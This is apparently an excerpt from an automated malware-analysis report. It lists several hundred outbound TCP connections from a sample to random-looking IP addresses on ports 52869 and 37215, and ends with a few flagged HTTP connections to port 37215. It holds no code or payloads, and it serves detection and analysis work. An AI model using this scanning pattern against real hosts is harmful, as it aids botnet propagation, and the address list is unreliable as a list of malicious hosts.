Source: global traffic	TCP traffic: 223.161.169.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.240.247.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.205.184.129 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 183.92.206.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.83.39.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 130.206.211.129 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.115.139.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.8.255.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.11.177.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 118.14.138.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.79.155.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 118.77.193.45 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 175.128.0.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.64.178.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 31.184.52.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.21.202.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.36.128.134 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 81.71.223.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 121.111.152.9 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.121.60.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 36.199.146.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 48.33.137.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.138.203.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 160.241.202.23 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 132.92.234.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.140.192.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.25.227.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 1.218.125.34 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 183.89.166.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 217.184.81.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.129.214.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 168.214.55.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 86.111.238.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.93.104.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.214.124.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.166.27.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 92.52.112.233 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.156.21.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.120.131.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 167.173.14.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.139.62.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.168.65.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.209.60.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 120.120.202.208 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.69.33.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.229.109.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.236.166.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 44.43.53.120 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.50.115.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.71.88.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.212.205.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.113.164.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 168.52.245.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.112.183.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 122.113.89.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.166.97.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.72.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 47.216.94.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.139.43.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.174.95.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 13.155.75.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.88.134.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 191.207.93.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.81.113.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.69.54.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 100.58.169.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 201.107.191.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.240.11.124 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.203.152.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.48.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.211.141.239 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.39.121.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 64.186.75.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.97.197.239 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.207.241.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 112.104.240.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.190.202.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 61.243.237.42 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.143.52.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 5.108.197.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.107.82.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.187.2.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 44.182.131.46 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.210.89.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 203.134.56.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 118.198.234.136 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.57.196.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.185.235.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 174.91.217.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.140.134.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.19.92.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 218.127.224.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 64.111.121.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.213.116.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 199.90.216.200 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.69.59.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 153.155.108.234 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.217.75.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 97.201.16.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.164.204.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 82.246.219.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.130.81.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 159.75.117.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 173.70.195.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.131.150.238 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 76.239.185.4 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.174.148.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.143.166.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 47.216.151.83 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 103.20.55.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.26.18.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 52.36.169.180 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.214.228.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.66.79.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.54.41.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.92.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.164.232.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.133.12.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 198.98.155.180 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 198.66.228.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 110.141.244.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 57.159.28.229 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.82.73.167 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.78.20.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.62.193.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 119.44.232.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.116.1.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 20.75.97.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.49.210.94 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.66.249.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.223.209.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 199.84.124.13 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 50.168.165.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.60.254.31 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 35.117.84.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.116.15.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 183.32.240.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.0.180.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.237.43.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.247.149.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 206.207.28.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.194.179.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 183.18.158.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 218.27.145.147 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.3.21.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.181.146.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 183.179.244.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 68.30.100.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.215.18.242 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 81.73.195.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.22.225.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.215.135.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.181.226.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.25.63.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.220.215.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.106.231.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.152.229.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.171.167.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 195.228.120.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 135.93.173.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 152.181.36.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.73.86.81 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.97.64.116 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.246.201.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 128.41.52.94 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 102.15.208.230 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.252.251.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 159.127.6.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.210.218.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.86.42.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 107.72.137.218 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 101.247.55.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 59.83.210.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 86.128.167.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.0.228.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.130.146.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.169.47.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.82.215.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 13.164.169.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 106.108.51.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.34.28.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 159.49.210.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.73.217.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 138.35.105.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.89.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.96.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 14.236.196.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 193.107.65.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.101.229.136 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 165.129.147.159 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.92.237.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 145.194.199.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.49.148.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.236.125.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 79.212.148.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.70.65.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 92.53.90.114 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 133.147.18.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.204.49.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 117.19.166.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.199.77.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.80.16.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 210.242.150.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.112.213.237 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 139.0.230.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.98.148.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 125.98.37.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.84.15.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 78.145.139.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.136.148.134 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.251.66.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.79.209.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 148.242.181.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.101.111.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.53.31.152 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 183.62.58.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 31.162.116.159 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.163.97.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.15.177.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 162.120.56.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.42.188.114 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 86.187.37.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 137.200.199.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.146.39.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.189.124.201 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.209.60.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.208.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 189.81.231.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 207.74.201.142 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.147.138.13 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 196.106.32.84 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.130.98.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 196.182.26.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.231.126.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.178.20.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.36.237.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 186.94.202.38 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 84.170.72.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.236.238.51 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 140.3.48.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 76.177.197.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.101.149.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 45.252.15.42 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.160.210.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.80.161.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 128.25.16.1 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 138.6.152.149 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.151.45.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 9.27.53.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.144.188.68 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 162.26.5.38 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.159.248.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 58.246.15.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.134.72.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 175.10.79.147 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.184.88.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 80.193.127.112 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 187.194.103.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.93.237.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 35.184.178.90 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 193.188.51.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.85.0.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 104.140.179.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 170.171.127.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.105.21.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.8.73.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 37.50.200.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 82.109.129.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 94.137.9.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.67.81.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 85.119.116.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.160.201.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.38.120.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 130.253.137.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.42.236.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.38.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 47.131.156.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.241.15.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.233.14.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 8.92.236.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 139.23.112.9 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 126.66.84.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.17.13.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 97.114.117.29 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 67.164.145.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.125.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 144.242.214.134 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.213.163.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.146.253.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.5.79.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.117.118.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.131.53.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 210.137.118.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.161.231.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 57.30.119.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.240.110.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.90.219.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 152.132.82.77 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 135.166.38.24 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.234.38.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.99.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 212.19.225.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 71.215.221.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.7.92.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.94.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 138.25.247.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.44.193.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.163.190.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 141.92.48.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 170.16.122.182 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.218.218.173 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.169.132.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 52.193.141.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.156.222.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 96.49.197.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 154.157.246.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.14.24.23 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 188.112.111.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 159.247.186.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 39.238.204.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.187.33.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.94.99.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 201.251.79.68 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.23.75.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 106.43.123.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.36.160.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 79.210.92.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.27.45.116 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 94.115.107.9 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.14.186.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.226.91.150 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.166.198.46 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 135.241.25.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.168.105.239 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.216.143.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 136.63.112.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.68.201.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 207.120.35.6 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.223.231.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 153.157.53.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 131.78.113.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.167.238.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.16.36.24 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 133.168.106.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.194.220.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.85.136.10 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 97.134.173.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 190.248.188.149 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 132.85.230.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.197.212.167 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.2.146.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.109.79.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.105.141.113 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 149.199.212.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 94.248.166.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 155.77.23.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.85.240.95 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 52.185.40.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 81.200.82.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.73.170.96 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 109.34.203.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 110.68.82.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 133.30.83.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 115.130.21.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.134.160.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.237.188.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 153.244.29.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.74.157.18 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 35940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45044 -> 37215
